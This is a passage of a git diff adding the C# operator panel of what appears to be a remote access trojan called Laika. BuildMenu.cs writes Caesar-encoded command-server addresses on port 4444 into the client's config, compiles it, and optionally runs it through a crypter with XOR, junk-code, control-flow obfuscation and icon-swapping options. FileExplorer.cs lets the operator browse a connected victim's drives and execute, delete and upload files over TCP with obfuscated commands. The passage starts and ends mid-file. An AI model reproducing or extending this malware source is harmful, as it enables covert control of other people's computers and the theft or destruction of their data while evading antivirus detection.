= 17; + this.label6.Text = "Pass :"; + // + // button2 + // + this.button2.Enabled = false; + this.button2.Location = new System.Drawing.Point(81, 415); + this.button2.Name = "button2"; + this.button2.Size = new System.Drawing.Size(213, 38); + this.button2.TabIndex = 18; + this.button2.Text = "Build"; + this.button2.UseVisualStyleBackColor = true; + this.button2.Click += new System.EventHandler(this.button2_Click); + // + // label7 + // + this.label7.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D; + this.label7.Location = new System.Drawing.Point(93, 15); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(254, 2); + this.label7.TabIndex = 19; + // + // label8 + // + this.label8.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D; + this.label8.Location = new System.Drawing.Point(83, 174); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(263, 2); + this.label8.TabIndex = 20; + // + // button3 + // + this.button3.Enabled = false; + this.button3.Location = new System.Drawing.Point(83, 354); + this.button3.Name = "button3"; + this.button3.Size = new System.Drawing.Size(75, 23); + this.button3.TabIndex = 21; + this.button3.Text = "Select icon"; + this.button3.UseVisualStyleBackColor = true; + this.button3.Click += new System.EventHandler(this.button3_Click); + // + // pictureBox1 + // + this.pictureBox1.BackColor = System.Drawing.SystemColors.AppWorkspace; + this.pictureBox1.Location = new System.Drawing.Point(195, 332); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(65, 65); + this.pictureBox1.TabIndex = 22; + this.pictureBox1.TabStop = false; + // + // label9 + // + this.label9.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D; + this.label9.Location = new System.Drawing.Point(20, 407); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(325, 2); + this.label9.TabIndex = 23; + // + // BuildMenu + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(355, 465); + this.Controls.Add(this.label9); + this.Controls.Add(this.pictureBox1); + this.Controls.Add(this.button3); + this.Controls.Add(this.label8); + this.Controls.Add(this.label7); + this.Controls.Add(this.button2); + this.Controls.Add(this.label6); + this.Controls.Add(this.numericUpDown2); + this.Controls.Add(this.checkBox4); + this.Controls.Add(this.label5); + this.Controls.Add(this.numericUpDown1); + this.Controls.Add(this.checkBox3); + this.Controls.Add(this.textBox2); + this.Controls.Add(this.label4); + this.Controls.Add(this.checkBox2); + this.Controls.Add(this.checkBox1); + this.Controls.Add(this.label3); + this.Controls.Add(this.button1); + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Controls.Add(this.textBox1); + this.Controls.Add(this.Hosts); + this.MinimumSize = new System.Drawing.Size(371, 430); + this.Name = "BuildMenu"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; + this.Text = "Build a payload"; + this.Load += new System.EventHandler(this.BuildMenu_Load); + this.contextMenuStrip1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.ListBox Hosts; + private System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Button button1; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip1; + private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.CheckBox checkBox1; + private System.Windows.Forms.CheckBox checkBox2; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.TextBox textBox2; + private System.Windows.Forms.CheckBox checkBox3; + private System.Windows.Forms.NumericUpDown numericUpDown1; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.CheckBox checkBox4; + private System.Windows.Forms.NumericUpDown numericUpDown2; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.Button button2; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.Button button3; + private System.Windows.Forms.PictureBox pictureBox1; + private System.Windows.Forms.Label label9; + } +} \ No newline at end of file diff --git a/Server/BuildMenu.cs b/Server/BuildMenu.cs new file mode 100644 index 0000000..afeb914 --- /dev/null +++ b/Server/BuildMenu.cs @@ -0,0 +1,179 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Server +{ + public partial class BuildMenu : Form + { + public BuildMenu() + { + InitializeComponent(); + } + + private void BuildMenu_Load(object sender, EventArgs e) + { + this.CenterToParent(); + } + + private void button1_Click(object sender, EventArgs e) + { + if (textBox1.Text != "") + { + Hosts.Items.Add(textBox1.Text); + button2.Enabled = true; + textBox1.Clear(); + } + } + + private void Hosts_MouseDown(object sender, MouseEventArgs e) + { + if (e.Button == MouseButtons.Right) + { + int index = Hosts.IndexFromPoint(e.Location); + if (index < 0) + return; + + Hosts.SelectedIndex = index; + contextMenuStrip1.Show(Cursor.Position); + } + } + + private void deleteToolStripMenuItem_Click(object sender, EventArgs e) + { + Hosts.Items.RemoveAt(Hosts.SelectedIndex); + if (Hosts.Items.Count == 0) + button2.Enabled = false; + } + + private void button2_Click(object sender, EventArgs e) + { + string output = ""; + button2.Text = "Building..."; + button2.Update(); + + string filePath = @"..\Laika\config.h"; + string newContent = @"#define FALLBACK_SERVERS " + Hosts.Items.Count; + newContent += "\n\nchar* fallback_servers[FALLBACK_SERVERS] = {\n"; + for (int i = 0; Hosts.Items.Count > i; i++) + { + newContent += "\t\"" + Utils.CAESAR(Hosts.Items[i].ToString()) + "\",\n"; + } + newContent += "};\n\n"; + newContent += "int fallback_servers_ip[FALLBACK_SERVERS] = {\n"; + for (int j = 0; Hosts.Items.Count > j; j++) + { + newContent += "\t4444,\n"; + } + newContent += "};"; + + File.WriteAllText(filePath, newContent); + System.Diagnostics.Process process = new System.Diagnostics.Process(); + System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo(); + startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; + startInfo.FileName = "cmd.exe"; + startInfo.Arguments = "/C \"\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\"\" -nologo -latest -property installationPath"; + startInfo.RedirectStandardOutput = true; + startInfo.UseShellExecute = false; + startInfo.CreateNoWindow = true; + process.StartInfo = startInfo; + process.Start(); + string vs_path = process.StandardOutput.ReadToEnd(); + process.WaitForExit(); + + vs_path = vs_path.Replace("\r\n", ""); + string cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe"; + + startInfo.Arguments = "/C \"\"" + cmd_line + "\"\" ../Laika /p:Configuration=Release;Platform=x86"; + startInfo.RedirectStandardError = true; + process.StartInfo = startInfo; + process.Start(); + output += process.StandardOutput.ReadToEnd(); + output += process.StandardError.ReadToEnd(); + + process.WaitForExit(); + + if (!checkBox1.Checked) + { + File.WriteAllText("build_log.txt", output); + button2.Text = "Done !"; + return; + } + + string args = string.Empty; + if (checkBox2.Checked) + args += " --xor " + textBox2.Text; + if (checkBox3.Checked) + args += " --junk " + numericUpDown1.Value.ToString(); + if (checkBox4.Checked) + args += " --control_flow " + numericUpDown2.Value.ToString(); + if (pictureBox1.ImageLocation != "") + args += " --icon " + pictureBox1.ImageLocation; + + startInfo.Arguments = "/C cd ..\\patate-crypter\\Builder && python gui.py --file ..\\..\\bin\\Laika.exe" + args; + startInfo.RedirectStandardError = true; + process.StartInfo = startInfo; + process.Start(); + output += process.StandardOutput.ReadToEnd(); + output += process.StandardError.ReadToEnd(); + + process.WaitForExit(); + File.WriteAllText("build_log.txt", output); + + button2.Text = "Done !"; + } + + private void button3_Click(object sender, EventArgs e) + { + OpenFileDialog openFileDialog = new OpenFileDialog + { + Filter = "Icon files (*.ico)|*.ico", + Title = "Select your icon" + }; + + if (openFileDialog.ShowDialog() == DialogResult.OK) + { + string filePath = openFileDialog.FileName; + pictureBox1.ImageLocation = filePath; + pictureBox1.SizeMode = PictureBoxSizeMode.StretchImage; + pictureBox1.Update(); + } + } + + private void checkBox1_CheckedChanged(object sender, EventArgs e) + { + bool flag = checkBox1.Checked; + + checkBox2.Enabled = flag; + checkBox3.Enabled = flag; + checkBox4.Enabled = flag; + pictureBox1.Enabled = flag; + button3.Enabled = flag; + } + + private void checkBox2_CheckedChanged(object sender, EventArgs e) + { + label4.Enabled = checkBox2.Checked; + textBox2.Enabled = checkBox2.Checked; + } + + private void checkBox3_CheckedChanged(object sender, EventArgs e) + { + label5.Enabled = checkBox3.Checked; + numericUpDown1.Enabled = checkBox3.Checked; + } + + private void checkBox4_CheckedChanged(object sender, EventArgs e) + { + label6.Enabled = checkBox4.Checked; + numericUpDown2.Enabled = checkBox4.Checked; + } + } +} diff --git a/Server/BuildMenu.resx b/Server/BuildMenu.resx new file mode 100644 index 0000000..ad53752 --- /dev/null +++ b/Server/BuildMenu.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + \ No newline at end of file diff --git a/Server/FileExplorer.Designer.cs b/Server/FileExplorer.Designer.cs new file mode 100644 index 0000000..b674479 --- /dev/null +++ b/Server/FileExplorer.Designer.cs @@ -0,0 +1,242 @@ +namespace Server +{ + partial class FileExplorer + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle7 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle8 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle9 = new System.Windows.Forms.DataGridViewCellStyle(); + this.comboBox1 = new System.Windows.Forms.ComboBox(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.dataGridView2 = new System.Windows.Forms.DataGridView(); + this.FileName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); + this.downloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.uploadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.executeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.button1 = new System.Windows.Forms.Button(); + ((System.ComponentModel.ISupportInitialize)(this.dataGridView2)).BeginInit(); + this.contextMenuStrip1.SuspendLayout(); + this.SuspendLayout(); + // + // comboBox1 + // + this.comboBox1.BackColor = System.Drawing.SystemColors.InactiveBorder; + this.comboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.comboBox1.FormattingEnabled = true; + this.comboBox1.Location = new System.Drawing.Point(50, 13); + this.comboBox1.MaxDropDownItems = 10; + this.comboBox1.Name = "comboBox1"; + this.comboBox1.Size = new System.Drawing.Size(121, 21); + this.comboBox1.Sorted = true; + this.comboBox1.TabIndex = 0; + this.comboBox1.SelectedIndexChanged += new System.EventHandler(this.comboBox1_SelectedIndexChanged); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(6, 16); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(38, 13); + this.label1.TabIndex = 1; + this.label1.Text = "Drive :"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(205, 16); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(74, 13); + this.label2.TabIndex = 2; + this.label2.Text = "Remote path :"; + // + // textBox1 + // + this.textBox1.Location = new System.Drawing.Point(286, 13); + this.textBox1.Name = "textBox1"; + this.textBox1.Size = new System.Drawing.Size(472, 20); + this.textBox1.TabIndex = 3; + this.textBox1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.textBox1_KeyDown); + // + // dataGridView2 + // + this.dataGridView2.AllowUserToAddRows = false; + this.dataGridView2.AllowUserToDeleteRows = false; + this.dataGridView2.AllowUserToResizeRows = false; + this.dataGridView2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.dataGridView2.BackgroundColor = System.Drawing.SystemColors.HighlightText; + this.dataGridView2.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.Single; + dataGridViewCellStyle7.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle7.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle7.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle7.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle7.SelectionBackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle7.SelectionForeColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle7.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridView2.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle7; + this.dataGridView2.ColumnHeadersHeight = 30; + this.dataGridView2.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.dataGridView2.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.FileName}); + dataGridViewCellStyle8.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft; + dataGridViewCellStyle8.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle8.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle8.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle8.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle8.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle8.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dataGridView2.DefaultCellStyle = dataGridViewCellStyle8; + this.dataGridView2.EnableHeadersVisualStyles = false; + this.dataGridView2.GridColor = System.Drawing.SystemColors.ScrollBar; + this.dataGridView2.Location = new System.Drawing.Point(9, 49); + this.dataGridView2.Margin = new System.Windows.Forms.Padding(0); + this.dataGridView2.MultiSelect = false; + this.dataGridView2.Name = "dataGridView2"; + this.dataGridView2.ReadOnly = true; + this.dataGridView2.RowHeadersVisible = false; + this.dataGridView2.RowHeadersWidthSizeMode = System.Windows.Forms.DataGridViewRowHeadersWidthSizeMode.DisableResizing; + dataGridViewCellStyle9.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + this.dataGridView2.RowsDefaultCellStyle = dataGridViewCellStyle9; + this.dataGridView2.RowTemplate.ReadOnly = true; + this.dataGridView2.RowTemplate.Resizable = System.Windows.Forms.DataGridViewTriState.False; + this.dataGridView2.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.dataGridView2.Size = new System.Drawing.Size(782, 392); + this.dataGridView2.TabIndex = 4; + this.dataGridView2.TabStop = false; + this.dataGridView2.CellDoubleClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dataGridView2_CellDoubleClick); + this.dataGridView2.CellMouseClick += new System.Windows.Forms.DataGridViewCellMouseEventHandler(this.dataGridView2_CellMouseClick); + this.dataGridView2.CellPainting += new System.Windows.Forms.DataGridViewCellPaintingEventHandler(this.dataGridView2_CellPainting); + // + // FileName + // + this.FileName.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.FileName.HeaderText = "Name"; + this.FileName.Name = "FileName"; + this.FileName.ReadOnly = true; + this.FileName.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // contextMenuStrip1 + // + this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.downloadToolStripMenuItem, + this.uploadToolStripMenuItem, + this.deleteToolStripMenuItem, + this.executeToolStripMenuItem}); + this.contextMenuStrip1.Name = "contextMenuStrip1"; + this.contextMenuStrip1.Size = new System.Drawing.Size(181, 114); + this.contextMenuStrip1.Opening += new System.ComponentModel.CancelEventHandler(this.contextMenuStrip1_Opening); + // + // downloadToolStripMenuItem + // + this.downloadToolStripMenuItem.Image = global::Server.Properties.Resources.download; + this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem"; + this.downloadToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.downloadToolStripMenuItem.Text = "Download"; + this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click); + // + // uploadToolStripMenuItem + // + this.uploadToolStripMenuItem.Image = global::Server.Properties.Resources.upload; + this.uploadToolStripMenuItem.Name = "uploadToolStripMenuItem"; + this.uploadToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.uploadToolStripMenuItem.Text = "Upload"; + this.uploadToolStripMenuItem.Click += new System.EventHandler(this.uploadToolStripMenuItem_Click); + // + // deleteToolStripMenuItem + // + this.deleteToolStripMenuItem.Image = global::Server.Properties.Resources.delete; + this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem"; + this.deleteToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.deleteToolStripMenuItem.Text = "Delete"; + this.deleteToolStripMenuItem.Click += new System.EventHandler(this.deleteToolStripMenuItem_Click); + // + // executeToolStripMenuItem + // + this.executeToolStripMenuItem.Image = global::Server.Properties.Resources.execute; + this.executeToolStripMenuItem.Name = "executeToolStripMenuItem"; + this.executeToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.executeToolStripMenuItem.Text = "Execute"; + this.executeToolStripMenuItem.Click += new System.EventHandler(this.executeToolStripMenuItem_Click); + // + // button1 + // + this.button1.BackgroundImage = global::Server.Properties.Resources.refresh; + this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; + this.button1.Location = new System.Drawing.Point(761, 10); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(30, 27); + this.button1.TabIndex = 5; + this.button1.UseVisualStyleBackColor = true; + this.button1.Click += new System.EventHandler(this.button1_Click); + // + // FileExplorer + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(800, 450); + this.Controls.Add(this.button1); + this.Controls.Add(this.dataGridView2); + this.Controls.Add(this.textBox1); + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Controls.Add(this.comboBox1); + this.MaximumSize = new System.Drawing.Size(816, 489); + this.MinimumSize = new System.Drawing.Size(816, 489); + this.Name = "FileExplorer"; + this.Text = "FileExplorer"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FileExplorer_FormClosing); + this.Load += new System.EventHandler(this.FileExplorer_Load); + ((System.ComponentModel.ISupportInitialize)(this.dataGridView2)).EndInit(); + this.contextMenuStrip1.ResumeLayout(false); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.ComboBox comboBox1; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.DataGridView dataGridView2; + private System.Windows.Forms.Button button1; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip1; + private System.Windows.Forms.ToolStripMenuItem downloadToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem uploadToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem executeToolStripMenuItem; + private System.Windows.Forms.DataGridViewTextBoxColumn FileName; + } +} \ No newline at end of file diff --git a/Server/FileExplorer.cs b/Server/FileExplorer.cs new file mode 100644 index 0000000..2d9dd6c --- /dev/null +++ b/Server/FileExplorer.cs @@ -0,0 +1,469 @@ +using System; +using System.IO; +using System.Threading; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Net.Sockets; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using static System.Net.Mime.MediaTypeNames; +using System.Runtime.InteropServices.ComTypes; + +namespace Server +{ + public partial class FileExplorer : Form + { + public FileExplorer() + { + InitializeComponent(); + } + + public static int ITEM_ID = 0; + public static int CLIENT_ID = 0; + public static string PATH = ""; + public static bool OPENED = false; + + private void GetFileList() + { + dataGridView2.Rows.Clear(); + CLIENT_ID = Server.Menu.CLIENT_ID; + if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID) + return; + TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID]; + c.ReceiveTimeout = 10000; + c.Client.Blocking = true; + + string receivedData = ""; + try + { + NetworkStream stream = c.GetStream(); + + byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_file_list")); + stream.Write(Message, 0, Message.Length); + + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH)); + stream.Write(Message, 0, Message.Length); + + byte[] buffer = new byte[256 * 4096]; + int bytesRead; + bytesRead = stream.Read(buffer, 0, buffer.Length); + receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead); + if (receivedData == "") + return; + receivedData = Utils.CAESAR_DECRYPT(receivedData); + string[] files = receivedData.Split('/'); + int idx = dataGridView2.Rows.Add(""); + dataGridView2.Rows[idx].Tag = "../."; + foreach (string f in files) + { + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_obj_info")); + stream.Write(Message, 0, Message.Length); + + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + f)); + stream.Write(Message, 0, Message.Length); + + buffer = new byte[1]; + bytesRead = stream.Read(buffer, 0, buffer.Length); + receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead); + if (receivedData == "") + return; + + idx = dataGridView2.Rows.Add(""); + dataGridView2.Rows[idx].Tag = f; + if (receivedData == "d") + { + dataGridView2.Rows[idx].Tag += "/d"; + } + else + { + dataGridView2.Rows[idx].Tag += "/f"; + } + } + + c.Client.Blocking = false; + } catch + { + CLIENT_ID = -1; + return; + } + + dataGridView2.ClearSelection(); + dataGridView2.Update(); + } + private void FileExplorer_Load(object sender, EventArgs e) + { + OPENED = true; + CLIENT_ID = Server.Menu.CLIENT_ID; + TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID]; + c.ReceiveTimeout = 10000; + c.Client.Blocking = true; + + string receivedData = ""; + try + { + NetworkStream stream = c.GetStream(); + + byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_drives")); + stream.Write(Message, 0, Message.Length); + + byte[] buffer = new byte[256]; + int bytesRead; + bytesRead = stream.Read(buffer, 0, buffer.Length); + receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead); + c.Client.Blocking = false; + } catch + { + CLIENT_ID = -1; + OPENED = false; + return; + } + foreach (char l in receivedData) + { + comboBox1.Items.Add(l); + } + comboBox1.SelectedIndex = 0; + PATH = comboBox1.Text + ":/"; + textBox1.Text = PATH; + + dataGridView2.ClearSelection(); + + GetFileList(); + } + + private void dataGridView2_CellMouseClick(object sender, DataGridViewCellMouseEventArgs e) + { + if (e.Button == MouseButtons.Right && e.RowIndex >= 0 && e.ColumnIndex >= 0) + { + dataGridView2.CurrentCell = dataGridView2.Rows[e.RowIndex].Cells[e.ColumnIndex]; + ITEM_ID = dataGridView2.CurrentRow.Index; + + contextMenuStrip1.Show(Cursor.Position); + } + } + + private void comboBox1_SelectedIndexChanged(object sender, EventArgs e) + { + PATH = comboBox1.Text + ":/"; + textBox1.Text = PATH; + GetFileList(); + } + + private void button1_Click(object sender, EventArgs e) + { + GetFileList(); + } + + private void dataGridView2_CellDoubleClick(object sender, DataGridViewCellEventArgs e) + { + string file = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').First(); + string type = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').Last(); + + if (file == ".." && PATH.Length != 3) + { + PATH = PATH.Remove(PATH.LastIndexOf('/', PATH.Length - 2) + 1); + } + else if (type != "d") + return; + else if (file != "..") + { + PATH += file + "/"; + } + textBox1.Text = PATH; + GetFileList(); + } + + private void executeToolStripMenuItem_Click(object sender, EventArgs e) + { + string file = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').First(); + + try + { + CLIENT_ID = Server.Menu.CLIENT_ID; + if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID) + return; + TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID]; + c.ReceiveTimeout = 10000; + c.Client.Blocking = true; + NetworkStream stream = c.GetStream(); + + byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("execute")); + stream.Write(Message, 0, Message.Length); + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + file)); + stream.Write(Message, 0, Message.Length); + + c.Client.Blocking = false; + } + catch + { + CLIENT_ID = -1; + OPENED = false; + return; + } + } + + private void dataGridView2_CellPainting(object sender, DataGridViewCellPaintingEventArgs e) + { + if (e.ColumnIndex == 0 && e.RowIndex >= 0) + { + e.Paint(e.CellBounds, DataGridViewPaintParts.All); + + string tmp = dataGridView2.Rows[e.RowIndex].Tag?.ToString(); + if (tmp == null) + return; + string type = tmp.Split('/').Last(); + var isDirectory = type == "d"; + var icon = isDirectory ? Properties.Resources.folder : Properties.Resources.file; + if (type == ".") + icon = Properties.Resources.up_arrow; + + int iconWidth = 16; + int iconHeight = 16; + int iconX = e.CellBounds.Left + 3; + int iconY = e.CellBounds.Top + (e.CellBounds.Height - iconHeight) / 2; + e.Graphics.DrawImage(icon, new Rectangle(iconX, iconY, iconWidth, iconHeight)); + + var text = tmp.Split('/').First(); + var textX = iconX + iconWidth + 5; + var textY = e.CellBounds.Top + (e.CellBounds.Height - e.CellStyle.Font.Height) / 2; + e.Graphics.DrawString(text, e.CellStyle.Font, Brushes.Black, textX, textY); + + e.Handled = true; + } + } + + private void textBox1_KeyDown(object sender, KeyEventArgs e) + { + if (e.KeyCode == Keys.Enter) + { + e.SuppressKeyPress = true; // Prevent the beep sound on Enter key + PATH = textBox1.Text; + if (PATH.Last() != '/') + PATH += '/'; + textBox1.Text = PATH; + textBox1.SelectionStart = textBox1.TextLength; + GetFileList(); + e.Handled = true; + } + } + + private void contextMenuStrip1_Opening(object sender, CancelEventArgs e) + { + string type = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').Last(); + + executeToolStripMenuItem.Visible = type != "d"; + } + + private void FileExplorer_FormClosing(object sender, FormClosingEventArgs e) + { + OPENED = false; + } + + private void deleteToolStripMenuItem_Click(object sender, EventArgs e) + { + string file = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').First(); + string type = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').Last(); + + try + { + CLIENT_ID = Server.Menu.CLIENT_ID; + if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID) + return; + TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID]; + c.ReceiveTimeout = 10000; + c.Client.Blocking = true; + NetworkStream stream = c.GetStream(); + + byte[] Message = new byte[20]; + if (type == "d") + { + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("del_dir")); + } else + { + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("del_file")); + } + stream.Write(Message, 0, Message.Length); + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + file)); + stream.Write(Message, 0, Message.Length); + + c.Client.Blocking = false; + } + catch + { + CLIENT_ID = -1; + OPENED = false; + return; + } + } + + private void uploadToolStripMenuItem_Click(object sender, EventArgs e) + { + OpenFileDialog openFileDialog = new OpenFileDialog + { + Title = "Select your file" + }; + + if (openFileDialog.ShowDialog() != DialogResult.OK) + return; + + string filePath = openFileDialog.FileName; + string fileNameWithExtension = Path.GetFileName(filePath); + + try + { + CLIENT_ID = Server.Menu.CLIENT_ID; + if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID) + return; + TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID]; + c.ReceiveTimeout = 10000; + c.Client.Blocking = true; + NetworkStream stream = c.GetStream(); + + byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("upload_file")); + stream.Write(Message, 0, Message.Length); + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + fileNameWithExtension)); + stream.Write(Message, 0, Message.Length); + 